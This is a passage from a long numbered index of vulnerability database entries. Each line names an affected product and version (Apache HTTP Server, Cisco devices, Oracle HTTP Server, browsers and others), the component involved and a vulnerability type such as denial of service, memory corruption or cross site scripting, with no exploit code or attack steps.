8670| [91045] CPython up to 2.7.9/3.4.3 HTTP Header HTTPConnectionputheader privilege escalation
8671| [90899] Cisco IP Phone 8800 11.0(1) HTTP Request denial of service
8672| [90923] ObiHai ObiPhone 1032/ObiPhone 1062 HTTP Header NULL Pointer Dereference denial of service
8673| [90920] ObiHai ObiPhone 1032/ObiPhone 1062 HTTP Digest Authentication Implementation weak authentication
8674| [90834] Cisco ASA 4.10.3.9/5.2.0/5.3.0.4/5.3.1/5.4.0 FirePOWER Services HTTP Request privilege escalation
8675| [90892] IBM WebSphere Application Server 7.0/8.0/8.5/8.5.5 HttpSessionIdReuse memory corruption
8676| [90586] Cisco RV180/RV180W HTTP Request privilege escalation
8677| [91303] Opera Web Browser HTTP/2 HEIST information disclosure
8678| [91302] Mozilla Firefox HTTP/2 HEIST information disclosure
8679| [91301] Microsoft Edge HTTP/2 HEIST information disclosure
8680| [91300] Microsoft Internet Explorer HTTP/2 HEIST information disclosure
8681| [91299] Google Chrome HTTP/2 HEIST information disclosure
8682| [91298] Apple Safari HTTP/2 HEIST information disclosure
8683| [91297] Opera Web Browser HTTPS HEIST information disclosure
8684| [91296] Mozilla Firefox HTTPS HEIST information disclosure
8685| [91295] Microsoft Edge HTTPS HEIST information disclosure
8686| [91294] Microsoft Internet Explorer HTTPS HEIST information disclosure
8687| [91293] Google Chrome HTTPS HEIST information disclosure
8688| [91292] Apple Safari HTTPS HEIST information disclosure
8689| [90374] Cisco FireSIGHT System Software 5.3.0/5.3.1/5.4.0/6.0/6.0.1 Snort Rule HTTP Header privilege escalation
8690| [90363] International Components for Unicode up to 57.1 common/uloc.cpp uloc_acceptLanguageFromHTTP memory corruption
8691| [90213] PHP up to 5.5.37/5.6.23/7.0.8 locale_methods.c locale_accept_from_http memory corruption
8692| [89910] Oracle HTTP Server 11.1.1.9/12.1.3.0 SSL/TLS Module information disclosure
8693| [89669] Apache HTTP Server up to 2.4.23 RFC 3875 Namespace Conflict Environment Variable Open Redirect
8694| [89668] Google Go up to 1.6 net/http Environment Variable Open Redirect
8695| [89143] Blue Coat PacketShaper up to 11.5.3.1 HTTPS Server information disclosure
8696| [88747] Apache HTTP Server 2.4.17/2.4.18 mod_http2 denial of service
8697| [88515] Cisco RV110W/RV215W HTTP Request memory corruption
8698| [88532] IBM TRIRIGA Application Platform up to 3.3.2.5/3.4.2.3/3.5.0.1 HTTP Response information disclosure
8699| [88516] Cisco Prime Infrastructure up to 3.1 HTTP Request Command privilege escalation
8700| [88333] IBM WebSphere Application Server 7.0/8.0/8.5/8.5.5 HTTP Response Splitting privilege escalation
8701| [91845] Pidgin up to 2.10.x HTTP Content-Length memory corruption
8702| [88051] H2O up to 1.7.2/2.0.0-beta4 HTTP2 Connection lib/http2/connection.c memory corruption
8703| [88036] Trend Micro Worry-Free Business Security 9.0 HTTP Header cross site scripting
8704| [88108] GNU wget up to 1.17 HTTP Redirect File privilege escalation
8705| [88667] Apache HTTP Server up to 2.4.20 mod_http2 Certificate weak authentication
8706| [87727] Cisco Prime Network Analysis Module up to 6.1/6.2 HTTP Request Command privilege escalation
8707| [87729] Lenovo Accelerator Application UserAgent spoofing
8708| [87716] Cisco Prime Network Analysis Module up to 6.1/6.2 HTTP Request Command privilege escalation
8709| [87584] WordPress up to 4.4.1 wp-includes/http.php wp_http_validate_url Server-Side Request Forgery
8710| [87549] Cisco Web Security Appliance up to 8.8 HTTP Response Code Memory denial of service
8711| [87548] Cisco Web Security Appliance up to 8.8 HTTP Length Request denial of service
8712| [87546] Cisco Web Security Appliance up to 8.5.3-055 HTTP POST Request denial of service
8713| [87407] PHP up to 5.4.43/5.5.27/5.6.11 ext/soap/php_http.c SoapClient::__call memory corruption
8714| [87133] Squid Proxy 3.5.17/4.0.9 HTTP Request privilege escalation
8715| [83737] HTTPS NIO Connector Socket Timeout denial of service
8716| [83741] ImageMagick up to 6.9.3-9/7.0.1 HTTP/FTP Coder cross site request forgery
8717| [82748] Ecava IntegraXor up to 5.0 HTTPOnly Cookie information disclosure
8718| [82747] Ecava IntegraXor up to 5.0 HTTP Header CRLF privilege escalation
8719| [82846] NetBSD up to 6.0.6/6.1.5/7.0 bozohttpd privilege escalation
8720| [82732] Cisco Wireless LAN Controller up to 8.0.x HTTP Request memory corruption
8721| [82731] Cisco AireOS up to 7.4.120.0/7.5.x/7.6.100.0 on WLC HTTP Request Reload denial of service
8722| [82607] Oracle HTTP Server 12.1.2.0 OSSL Module unknown vulnerability
8723| [82444] Apache Camel up to 2.14.x/2.15.4/2.16.0 HTTP Request privilege escalation
8724| [82395] Huawei S5300EI HTTPS/FTP Server Memory Leak denial of service
8725| [82327] Cisco Unified Computing System up to 1.3(1b) HTTP Request Command privilege escalation
8726| [82234] Microsoft Windows 10 HTTP.sys HTTP Request denial of service
8727| [82092] Trend Micro Password Manager Pro HTTP Server openUrlInDefaultBrowser privilege escalation
8728| [82052] Apache Ranger up to 0.4.x Policy Admin Tool HTTP Request cross site scripting
8729| [81880] SAP Java AS 7.4 Java Startup Framework jstart HTTP Request denial of service
8730| [81879] SAP Java AS 7.4 Internet Communication Manager HTTP Request denial of service
8731| [81707] Node.js up to 0.10.41/0.12.9/4.2.x/5.5.x HTTP Header Parser UTF-8 Encoding privilege escalation
8732| [81704] Node.js up to 0.10.41/0.12.9/4.2.x/5.5.x HTTP Header Content Smuggling privilege escalation
8733| [81696] Apache ActiveMQ up to 5.13.1 HTTP Header privilege escalation
8734| [81636] Cisco Prime Infrastructure up to 2.2.2 HTTP POST Request memory corruption
8735| [81626] Cisco TelePresence Server/Mobility Services Engine HTTP Memory Consumption denial of service
8736| [81565] Squid Proxy up to 3.5.15/4.0.7 HTTP Response denial of service
8737| [81563] Snort IDS up to 2.9.8.1 Malware Detection HTTP Header privilege escalation
8738| [81552] Cisco ASA/AMP/FirePOWER Malware Detection HTTP Header privilege escalation
8739| [81487] Apple iOS up to 9.2 HTTPProtocol memory corruption
8740| [81436] Apple Mac OS X up to 10.11.3 HTTPProtocol memory corruption
8741| [81358] Apple Software Update up to 2.1 on Windows HTTP weak encryption
8742| [81387] PHP 5.5.32 SOAP Request make_http_soap_request memory corruption
8743| [81316] Cisco DPC2203/EPC2203 r 1 Web Server HTTP Request memory corruption
8744| [81315] Cisco DPQ3925 r 1 Admin Interface HTTP Request Restart denial of service
8745| [81314] Cisco DPC3939/DPC3941 Admin Interface HTTPS Request information disclosure
8746| [81313] Cisco ASA 5500 up to 6.6 HTTPS Packet Memory Consumption denial of service
8747| [81189] Cisco Prime Infrastructure 3.0 Log View HTTP Request privilege escalation
8748| [81149] Cisco Web Security Appliance Web Proxy HTTPS Request denial of service
8749| [81146] Django 1.8.1/1.8.2/1.8.6/1.9 django.utils.http.is_safe_url cross site scripting
8750| [81137] phpMyAdmin up to 4.5.5.0 X.509 Certificate Validation Config.class.php checkHTTP information disclosure
8751| [81100] Wireshark 2.0.0/2.0.1 HTTP2 Dissector packet-http2.c denial of service
8752| [81111] Squid Proxy up to 4.0.6 HTTP Status Code http.cc denial of service
8753| [81110] Squid Proxy up to 3.5.14/4.0.6 Response http.cc denial of service
8754| [81108] Squid Proxy up to 3.5.14/4.0.6 HTTP Header denial of service
8755| [81132] Squid Proxy 3.5.13/4.0 HTTP Status Code http.cc denial of service
8756| [80756] Janrain PHP OpenID Library HTTP Host Header common.php privilege escalation
8757| [80739] KDDI Home Spot Cube 1 HTTP Header CRLF privilege escalation
8758| [80714] Privoxy up to 3.0.23 HTTP Host Header parsers.c client_host denial of service
8759| [80617] SAP HANA XS Engine HTTP Request Log privilege escalation
8760| [80616] SAP HANA XS Engine HTTP Request memory corruption
8761| [80615] CGit up to 0.11 HTTP Header authenticate_post memory corruption
8762| [80614] CGit up to 0.11 ui-shared.c cgit_print_http_headers cross site scripting
8763| [80611] Cisco Web Security Appliance 8.5.3-055/9.1.0-000/9.5.0-235 Proxy Engine HTTP Method privilege escalation
8764| [80577] Oracle Secure Global Desktop 4.63/4.71/5.2 Apache HTTP Server denial of service
8765| [80477] Oracle E-Business Suite 11.5.10.2 HTTP Server denial of service
8766| [80279] FFmpeg 2.x HTTP Live Stream M3U8 File Cross-Origin privilege escalation
8767| [80278] FFmpeg 2.x HTTP Live Stream M3U8 File Cross-Origin privilege escalation
8768| [80203] Prosody up to 0.9.8 mod_http_files File directory traversal
8769| [80199] nghttp2 up to 1.5.x Idle Stream Use-After-Free memory corruption
8770| [80196] Shell in a Box up to 2.18 HTTPS Fallback /plain privilege escalation
8771| [80175] IBM WebSphere Message Broker up to 7.0.0.7/8.0.0.5 HTTP Server information disclosure
8772| [79965] Mediabridge Medialink MWN-WAPR300N 5.07.50 HTTP Cookie privilege escalation
8773| [79958] OrientDB Server Community Edition up to 2.0.14/2.1.0 Studio OHttpSessionManager.java weak authentication
8774| [79893] eWON Device up to 10.1s0 HTTP GET Request information disclosure
8775| [79868] Cisco DPQ3925 HTTP Request information disclosure
8776| [79867] Cisco FireSIGHT Management Center HTTP Detection SSL Session privilege escalation
8777| [79830] Joomla CMS up to 1.5.x/2.x/3.4.5 HTTP Header PHP Code Execution privilege escalation
8778| [79813] Mozilla Firefox 42 HTTP/2 Frame Underflow denial of service
8779| [79812] Mozilla Firefox 42 HTTP/2 Frame Underflow denial of service
8780| [79594] Apple iOS up to 9.1 CFNetwork HTTPProtocol privilege escalation
8781| [79557] Apple Mac OS X up to 10.11.1 IOAcceleratorFamily memory corruption
8782| [79542] Apple Mac OS X up to 10.11.1 CFNetwork HTTPProtocol privilege escalation
8783| [79402] Ceph up to 0.94.3 Object Gateway HTTP Response Splitting privilege escalation
8784| [79399] Dell iDRAC6/iDRAC7/iDRAC8 HTTP cross site scripting
8785| [79398] Dell iDRAC6 HTTP privilege escalation
8786| [79280] Apple iOS up to 8.x CFNetwork HTTPProtocol information disclosure
8787| [79272] Exemys Telemetry Web Server HTTP Location Header privilege escalation
8788| [79074] IBM Security Access Manager For Web up to 7.0.0.15/8.0.1.2 WebSEAL HTTPTransformation Request File privilege escalation
8789| [78925] Allen-Bradley MicroLogix 1100/1400 HTTP Request memory corruption
8790| [78890] OpenStack Image Service up to 2014.2.3/2015.1.1 HTTP Header privilege escalation
8791| [78867] 3S-Smart CODESYS Gateway Server up to 2.3.9.47 HTTP Request GET Request/POST Request NULL Pointer Dereference denial of service
8792| [78861] IniNet embeddedWebServer up to 2.01 HTTP Request Stack-Based memory corruption
8793| [78842] Apple OS X Server up to 5.0.14 HTTP Header Configuration privilege escalation
8794| [78818] Apple Mac OS X up to 10.11.0 IOAcceleratorFamily memory corruption
8795| [78753] Apple iOS up to 9.0 IOAcceleratorFamily memory corruption
8796| [78578] Oracle Fusion Middleware 11.1.1.9 HTTP Server denial of service
8797| [78577] Oracle Fusion Middleware 10.1.3.5/11.1.1.7/11.1.1.9/12.1.2.0/12.1.3.0 HTTP Server denial of service
8798| [78571] Oracle Fusion Middleware 11.1.1.7/12.1.2.0/12.1.3.0 HTTP Server denial of service
8799| [78565] Oracle Fusion Middleware 10.1.3.5/11.1.1.7/11.1.1.9/12.1.2.0/12.1.3.0 HTTP Server denial of service
8800| [78876] Red Hat JBoss Enterprise Application Platform up to 6.4.3 HTTP Management Interface Large Header Memory Exhaustion privilege escalation
8801| [78389] Microsoft Edge HTTP Response cross site scripting
8802| [78297] Apache Commons Components HttpClient up to 4.3.5 HTTPS Timeout denial of service
8803| [78164] Google Android up to 5.1.0 BpMediaHTTPConnection IMediaHTTPConnection.cpp readAt memory corruption
8804| [78145] TIBCO Managed File Transfer Internet Server up to 7.2.4 HTTP Request information disclosure
8805| [78104] Apple Watch up to 1.0.2 IOAcceleratorFamily Kernel Memory information disclosure
8806| [77987] amoCRM Module up to 7.x-1.1 on Drupal HTTP POST Request cross site scripting
8807| [77976] Securifi Almond HTTP Header Clickjacking spoofing
8808| [77785] Apple iOS up to 8.4.1 IOAcceleratorFamily Kernel Memory information disclosure
8809| [77726] WP Limit Login Attempts Plugin up to 2.0.0 on WordPress HTTP Header wp-limit-login-attempts.php getip sql injection
8810| [77703] Asus TM-AC1900 Router HTTP Header Stack-Based memory corruption
8811| [77659] Cisco Email Security Appliance 7.6.0/8.0.0 HTTP Request memory corruption
8812| [77557] MyBB up to 1.8.4 Quick Edit xmlhttp.php edit cross site scripting
8813| [77493] Softing PROFIBUS Single Channel FG-x00-PB_V2.02.0.00 cgi-bin/CFGhttp/ cross site scripting
8814| [77492] OkCupid OK Web Server 404 Error Message libahttp/err.c cross site scripting
8815| [77356] Cisco TelePresence Video Communication Server X8.5.2 HTTP Request Command privilege escalation
8816| [77342] Cisco TelePresence Video Communication Server X8.5.2 HTTP Request privilege escalation
8817| [77298] HTTP Strict Transport Security Module up to 6.x-1.0/7.x-1.1 on Drupal Subdomain weak encryption
8818| [77263] VideoLAN VLC Media Player up to 2.1.x network/httpd.c httpd_HtmlError cross site scripting
8819| [77261] Cisco FireSIGHT Management Center 5.3.1.4 HTTP POST Request denial of service
8820| [77075] Mozilla Firefox 39 XMLHttpRequest::Open memory corruption
8821| [77656] IBM HTTP Server 6.1/7.0/8.0/8.5/8.5.5 Stack-Based memory corruption
8822| [76737] Cisco Prime Collaboration 10.0 HTTP Request Outage denial of service
8823| [76726] Siemens SICAM MIC up to 2403 HTTP Request weak authentication
8824| [76733] Apache HTTP Server 2.4.7/2.4.8/2.4.9/2.4.10/2.4.12 ap_some_auth_required unknown vulnerability
8825| [76732] Apache HTTP Server 2.4.7/2.4.8/2.4.9/2.4.10/2.4.12 Request apr_brigade_flatten privilege escalation
8826| [76731] Apache HTTP Server 2.4.12 ErrorDocument 400 Crash denial of service
8827| [76221] Apple Mac OS X 10.9.5/10.10/10.10.1/10.10.2/10.10.3 IOAcceleratorFamily memory corruption
8828| [76220] Apple Mac OS X 10.9.5/10.10/10.10.1/10.10.2/10.10.3 IOAcceleratorFamily memory corruption
8829| [76131] IBM WebSphere Commerce up to 6.0.0.11/7.0.0.8 HTTP Header privilege escalation
8830| [76065] Async Http Client up to 1.8.x X.509 Certificate Validator AsyncHttpClientConfig.java spoofing
8831| [76064] Async Http Client up to 1.8.x X.509 Certificate Validator spoofing
8832| [76043] cURL/libcURL up to 7.42.1 HTTP Basic Authentication Credentials information disclosure
8833| [76028] Cisco Web Security Appliance 8.5.0-497 HTTP Header cross site scripting
8834| [75864] Cisco FireSIGHT System Software 5.3.1.1 HTTP Request cross site scripting
8835| [75723] Cisco TelePresence up to 6.3.3/7.3.2 on Integrator C SX20 CRLF HTTP Response Splitting privilege escalation
8836| [75620] Cisco Conductor for Videoscape/Headend System Release 3.0 HTTP Cookie privilege escalation
8837| [75609] Wavelink ConnectPro TermProxy Service WLTermProxyService.exe HTTP Header memory corruption
8838| [75608] Wavelink Terminal Emulation License Server LicenseServer.exe HTTP Header memory corruption
8839| [75579] lighttpd 1.4.35 Log File mod_mysql_vhost.c privilege escalation
8840| [75566] lighttpd 1.4.35 Log File http_auth.c information disclosure
8841| [75548] HP Network Virtualization 8.61/11.52 HttpServlet/NetworkEditorController File privilege escalation
8842| [75455] Apple Watch OS 1.0 IOAcceleratorFamily privilege escalation
8843| [75392] Cisco Security Manager 4.7(0)SP1(1) HTTP Module cross site scripting
8844| [75206] Cisco UCS Central Software up to 1.2 HTTP Request privilege escalation
8845| [75176] Samsung Security Manager up to 1.30 HTTP Request privilege escalation
8846| [75174] cURL/libcURL up to 7.42.0 HTTP Header Proxy information disclosure
8847| [75163] Cisco StarOS 12.0/12.2(300)/14.0/14.0(600) on ASR 5000 HTTP Reload denial of service
8848| [75116] TVMOBiLi up to 2.1.0.3973 HTTP Request HttpUtils.dll memory corruption
8849| [75135] PHP 5.4/5.5 HTTP Request sapi_apache2.c apache2handler privilege escalation
8850| [74994] Lenovo ThinkServer System Manager up to 1.27.73475 Authentication HTTP Request Handler Crash denial of service
8851| [74833] Microsoft Windows 7 SP1/8/8.1/Server 2012/Server 2012 R2 HTTP Request HTTP.sys privilege escalation
8852| [74764] Apple iOS up to 8.2 IOAcceleratorFamily Kernel Memory information disclosure
8853| [74714] Apple MacOS X up to 10.10.2 CFNetwork HTTPProtocol Cookie privilege escalation
8854| [74651] Red Hat Docker up to 1.5.0 HTTPS Connection weak encryption
8855| [74657] Mozilla Firefox up to 37.0.0 HTTP/2 Alt-Svc Header weak authentication
8856| [74481] Django up to 1.6.8 Javascript utilshttpis_safe_url cross site scripting
8857| [74017] Citrix Netscaler 10.5 HTTP Header privilege escalation
8858| [74367] Apache HTTP Server up to 2.4.12 mod_lua lua_request.c wsupgrade denial of service
8859| [69235] Jetty httpd up to 9.2.8 HttpParser Memory information disclosure
8860| [69217] Mozilla Firefox 35 XMLHttpRequest Calls memory corruption
8861| [69198] Squid Proxy 3.1.9 HTTP Header Injection cross site scripting
8862| [74152] Acme Mini HTTPd up to 1.21 Protocol Out-of-Bounds information disclosure
8863| [69092] Apache Tomcat up to 6.0.42/7.0.54/8.0.8 HTTP Request Smuggling privilege escalation
8864| [69028] Cisco Unified IP Phone 9900 9.3(4.24) HTTP Request File Upload privilege escalation
8865| [73818] IBM WebSphere Message Broker up to 8.0.0.4 HTTPInput Node information disclosure
8866| [68929] Apple iOS up to 8.1.2 IOAcceleratorFamily memory corruption
8867| [68884] Apple Mac OS X 10.8.5/10.9.5/10.10/10.10.1 IOAcceleratorFamily NULL Pointer Dereference memory corruption
8868| [69014] libcURL 7.30.0/7.31.0 HTTP Proxy cross site request forgery
8869| [68677] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener denial of service
8870| [68676] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener denial of service
8871| [68675] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener parser.c xmlParserHandlePEReference denial of service
8872| [68668] Oracle HTTP Server 10.1.3.5.0/11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener cross site request forgery
8873| [68667] Oracle HTTP Server 10.1.3.5.0/11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener denial of service
8874| [68666] Oracle HTTP Server 10.1.3.5.0/11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener denial of service
8875| [68665] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener denial of service
8876| [68659] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener memory corruption
8877| [68658] Oracle HTTP Server 10.1.3.5.0/11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener mod_status.c lua_ap_scoreboard_worker memory corruption
8878| [68650] Oracle HTTP Server 11.1.1.7.0/12.1.2.0/12.1.3.0 Web Listener memory corruption
8879| [68970] Django up to 1.7.2 django.util.http.is_safe_url cross site scripting
8880| [68522] Cisco Secure Access Control Server 5.5/5.6 HTTP privilege escalation
8881| [73356] Cisco Meraki HTTP unknown vulnerability
8882| [73354] Cisco Meraki HTTP privilege escalation
8883| [73353] Cisco Meraki HTTP unknown vulnerability
8884| [73211] ULTRAPOP i-HTTPD cross site scripting
8885| [73210] ULTRAPOP i-HTTPD cross site scripting
8886| [73209] ULTRAPOP i-HTTPD cross site scripting
8887| [73208] ULTRAPOP i-HTTPD Server Side Includes privilege escalation
8888| [68309] Mozilla Firefox 31.2/33.0 XMLHttpRequest Crash denial of service
8889| [68575] Apache HTTP Server up to 2.4.10 LuaAuthzProvider mod_lua.c privilege escalation
8890| [68565] WordPress up to 4.0 wp-includes/http.php privilege escalation
8891| [68435] Apache HTTP Server 2.4.10 mod_proxy_fcgi.c handle_headers denial of service
8892| [68198] F5 BIG-IP 10.2.1 HTTP POST Request properties.jsp directory traversal
8893| [68128] cURL/libcURL 7.20.0/7.21.0/7.31.0 HTTP POST curl_easy_duphandle information disclosure
8894| [68100] Linksys EA up to 2.0.14294 SMART WiFi Firmware HTTP POST Request information disclosure
8895| [68077] BSD FTP Client HTTP Redirect privilege escalation
8896| [68088] McAfee Network Data Loss Prevention 8.6/9.2.0/9.2.1 HTTP Cookie httponly information disclosure
8897| [68007] Apple Mac OS X up to 10.9.3 IOAcceleratorFamily NULL Pointer Dereference denial of service
8898| [67799] Mozilla Firefox 30.0/31.0/31.1.0/32.0 SPDY/HTTP2 privilege escalation
8899| [67798] Mozilla Firefox 30.0/31.0/31.1.0/32.0 SPDY/HTTP2 privilege escalation
8900| [68050] Splunk Enterprise up to 5.0.9 HTTP Referer Header cross site scripting
8901| [71913] Rejetto HTTP File Server up to 2.3c memory corruption
8902| [71861] Rejetto HTTP File Server up to 2.x parserLib.pas findMacroMarker unknown vulnerability
8903| [67739] Tenable Nessus 2.3.3 HTTP Header cross site scripting
8904| [71693] HAProxy 1.5.0/1.5.1/1.5.2/1.5.3 proto_http.c http_request_forward_body memory corruption
8905| [67680] Debian apt 1.0.1 HTTP Transport Code memory corruption
8906| [67649] Apple Mac OS X up to 10.9.4 IOAcceleratorFamily memory corruption
8907| [67648] Apple Mac OS X up to 10.9.4 IOAcceleratorFamily memory corruption
8908| [67578] Apple iOS up to 7.1.2 IOAcceleratorFamily denial of service
8909| [67577] Apple iOS up to 7.1.2 IOAcceleratorFamily denial of service
8910| [71220] Miniupnpd 1.9 miniwget.c getHTTPResponse denial of service
8911| [67790] Apache HTTP Server mod_cache NULL Pointer Dereference denial of service
8912| [70806] Apache Commons-httpclient 4.2/4.2.1/4.2.2 spoofing
8913| [70748] Monkey HTTP Daemon up to 0.9.0 denial of service
8914| [70449] ACME Micro Httpd memory corruption
8915| [67212] NetBSD 5.1/5.2/6.0/6.1 bozohttpd snprintf information disclosure
8916| [67172] Cisco DPC3010/DPC3212/EPC3010/EPC3212 HTTP Request memory corruption
8917| [67086] Oracle HTTP Server 11.1.1.7.0/12.1.2.0 Plugin 1.1 information disclosure
8918| [67085] Oracle HTTP Server 11.1.1.7.0/12.1.2.0 Plugin 1.1 unknown vulnerability
8919| [67183] Apache HTTP Server up to 2.4.9 mod_proxy denial of service
8920| [67180] Apache HTTP Server up to 2.4.9 WinNT MPM Memory Leak denial of service
8921| [67185] Apache HTTP Server up to 2.4.9 mod_status Heap-Based memory corruption
8922| [67184] Apache HTTP Server 2.4.5/2.4.6 mod_cache NULL Pointer Dereference denial of service
8923| [67182] Apache HTTP Server up to 2.4.9 mod_deflate Memory Consumption denial of service
8924| [67181] Apache HTTP Server up to 2.4.9 mod_cgid denial of service
8925| [66971] Apple Mac OS X up to 10.9.2 IOAcceleratorFamily memory corruption
8926| [70036] Monkey HTTP Daemon mk_request.c mk_request_header_process memory corruption
8927| [70034] Monkey HTTP Daemon Access Restriction unknown vulnerability
8928| [70033] Monkey HTTP Daemon denial of service
8929| [13595] TP-LINK TD-8817/TD-8840G/TD-W8101G/TD-W8901G 3.11.2 HTTP POST /Forms/tools_test_1 denial of service
8930| [13469] Solarwinds Serv-U FTP Server 15.0.1.20 HTTPS Listener weak encryption
8931| [13341] TYPO3 up to 4.5.33/4.7.18/6.0.13/6.1.8/6.2.2 HTTP Header Host Header spoofing
8932| [13334] Cisco TelePresence System up to 6.0.5.5 HTTPS weak encryption
8933| [13300] Apache HTTP Server 2.4.1/2.4.2 mod_wsgi setuid privilege escalation
8934| [13299] Apache HTTP Server 2.4.1/2.4.2 mod_wsgi Content-Type Header information disclosure
8935| [13240] Django up to 1.7 Redirect django.util.http.is_safe_url privilege escalation
8936| [13214] Cisco IOS 15.3(3)M ScanSafe HTTPS Traffic denial of service
8937| [13589] Digium Asterisk 1.8.15/11.6 HTTPS Connection denial of service
8938| [13153] Cisco ASA 9.1(1) HTTP Server information disclosure
8939| [69449] Cisco ios up to 15.1 HTTP Service denial of service
8940| [13044] Apple iOS up to 7.1 CFNetwork HTTPProtocol information disclosure
8941| [13029] Apple Mac OS X up to 10.7.5/10.8.5/10.9.2 CFNetwork HTTPProtocol information disclosure
8942| [12893] Oracle Containers for J2EE 10.1.3.5 HTTP Request unknown vulnerability
8943| [12892] Oracle Containers for J2EE 10.1.3.5 HTTP Request unknown vulnerability
8944| [12884] Oracle Containers for J2EE 10.1.3.5 HTTP Request unknown vulnerability
8945| [12863] Cisco ASA up to 9.1 SIP HTTP POST Request denial of service
8946| [12862] Cisco ASA up to 9.1 SSL VPN Authentication HTTP POST Request weak authentication
8947| [12832] Cisco ONS 15454 HTTP URI denial of service
8948| [12787] lighttpd denial of service
8949| [12784] Cisco Security Manager 4.2 HTTP Header Open Redirect
8950| [12741] Trustwave ModSecurity up to 2.7.6 Chunked HTTP Transfer apache2/modsecurity.c modsecurity_tx_init Trailing Header privilege escalation
8951| [13384] Apache Tomcat up to 6.0.39/7.0.53/8.0.5 Chunked HTTP Request denial of service
8952| [12704] Cisco IOS 15.1/15.2/15.3/15.4 SSL VPN HTTP denial of service
8953| [13580] Check Point Firewall R77/R77.10 HTTPS URL denial of service
8954| [12667] Apache HTTP Server 2.4.7 mod_log_config.c log_cookie denial of service
8955| [66689] Apache HTTP Server up to 2.0.33 mod_dav dav_xml_get_cdata denial of service
8956| [12691] VideoLAN VLC Media Player up to 2.1.3 src/network/httpd.c GET Request cross site scripting
8957| [12672] Cisco WebEx Meeting Center HTTP GET information disclosure
8958| [66642] lighttpd up to 1.4.34 mod_evhost directory traversal
8959| [12614] lighttpd 1.4.34 mod_evhost/mod_simple_vhost directory traversal
8960| [12613] lighttpd up to 1.4.34 MySQL Virtual Hosting Module mod_mysql_vhost.c sql injection
8961| [12641] Digium Asterisk 12.0.0 Cookie main/http.c memory corruption
8962| [12518] Apache Tomcat up to 6.0.38/7.0.49/8.0.0-RC9 HTTP Header denial of service
8963| [12785] Barracuda Backup up to 4.3.06/5.1.00 External Backup Module HTTP POST Request cross site scripting
8964| [12457] HP Service Manager 9.30/9.31/9.32/9.33 HTTP Request cross site request forgery
8965| [12387] Fortinet FortiWeb 5.0.2 HTTP Header cross site scripting
8966| [12271] Microsoft .NET Framework up to 4.5.1 HTTP POST denial of service
8967| [12144] IBM InfoSphere 9.0/9.1/10.0/10.1/11.0 HTTP Request cross site request forgery
8968| [12119] Pidgin 2.10.7 HTTP Response Negative Value memory corruption
8969| [12117] Pidgin up to 2.10.7 Gadu-Gadu HTTP Response Integer memory corruption
8970| [12115] Pidgin 2.10.7 HTTP Response memory corruption
8971| [12108] Pidgin 2.10.7 HTTP Response Crash denial of service
8972| [66113] httplib2 up to 0.8 spoofing
8973| [11998] VMware vCloud Director 5.1.2 HTTP Request cross site request forgery
8974| [11829] Oracle HTTP Server 11.1.1.6.0/11.1.1.7.0/11.1.2.1 OSSL Module Stored privilege escalation
8975| [11821] Oracle HTTP Server 11.1.1.6.0/11.1.1.7.0/11.1.2.1 Web Listener cross site scripting
8976| [11817] Oracle HTTP Server 11.1.1.6.0/11.1.1.7.0/11.1.2.1 OSSL Module information disclosure
8977| [11816] Oracle HTTP Server 10.1.3.5.0/11.1.1.6.0/11.1.1.7.0/11.1.2.1 OSSL Module memory corruption
8978| [11814] Oracle HTTP Server 11.1.1.6.0/11.1.1.7.0/11.1.2.1/12.1.2.0 Web Listener privilege escalation
8979| [11812] Oracle HTTP Server 11.1.1.6.0/11.1.1.7.0/11.1.2.1 OSSL Module memory corruption
8980| [11787] Juniper Junos 10.4/11.4/12.1r/12.1x44/12.1x45 on SRX flowd Service HTTP Traffic denial of service
8981| [12136] haxx.se cURL up to 7.34.0 HTTP NTLM Connection weak authentication
8982| [12123] Motorola SBG6580 6.5.0.0-GA-00-226-NOSH Web Access /goform/login HTTP POST Request denial of service
8983| [11616] cPanel WHM 11.36.2.9/11.38.2.12/11.40.0.28/11.40.1.2 cpsrvd HTTP Request Bypass privilege escalation
8984| [65806] IBM Sterling Connect Enterprise Http Option up to 1.3.1 cross site scripting
8985| [65756] GNU libmicrohttpd up to 0.9.31 MHD_digest_auth_check memory corruption
8986| [65755] GNU libmicrohttpd up to 0.9.31 MHD_http_unescape denial of service
8987| [11407] TP-LINK TL-WR740N 3.12.11 Build 120320 Rel.51047n HTTP Server Accept-Encoding Header Crash denial of service
8988| [65578] Gummy Bear FTP Drive + HTTP Server up to 1.0.4 directory traversal
8989| [11320] Instagram/Flattr 4.0.2/4.1.2/4.2.7 on iOS/Android HTTP POST Request Photo Upload weak encryption
8990| [11307] Thomson Reuters Velocity Analytics Vhayu Analytic Server Input Sanitizer /VhttpdMgr privilege escalation
8991| [11182] Google Chrome 30.0.1599.101 HTTP 1xx Parsing http_stream_parser.cc QuickGetNext memory corruption
8992| [65451] Cisco Prime Central for Hosted Collaboration Solution HTTP Service Flooding denial of service
8993| [11098] Apache Tomcat 5.5.25 HTTP Request cross site request forgery
8994| [11097] lighttpd up to 1.4.33 ssl.cipher-lister weak encryption
8995| [65391] Varnish up to 3.0.4 Crash denial of service
8996| [11663] Python 2.7.5/3.3.3 RC 1 Lib/CGIHTTPServer.py CGIHTTPRequestHandler directory traversal
8997| [65363] F5 Big-ip Protocol Security Module up to 9.4.6 Accelerator denial of service
8998| [10981] Cisco Content Security Management Appliance up to 8.1 HTTP/HTTPS Request denial of service
8999| [10660] Cisco ASA up to 9.1(1.1) HTTP Deep Packet Inspection Malformed Response denial of service
9000| [10657] Cisco ASA up to 9.1(1.3) Clientless SSL VPN HTTPS Request denial of service
9001| [10596] libxml2 Socket nanohttp.c xmlNanoHTTPConnectAttempt denial of service
9002| [11250] HP 2620 Switch HTTP Request html/json.html cross site request forgery
9003| [10503] Blue Coat Security Gateway OS up to 6.5.1 HTTP RW Pipeline Pre-Fetch Requests Memory Leak memory corruption
9004| [10842] Google Chrome 30.0.1599.69 xml/XMLHttpRequest.cpp internalAbort memory corruption
9005| [10645] Http-body Project Perl 1.08 Temp File Name HTTP::Body::Multipart privilege escalation
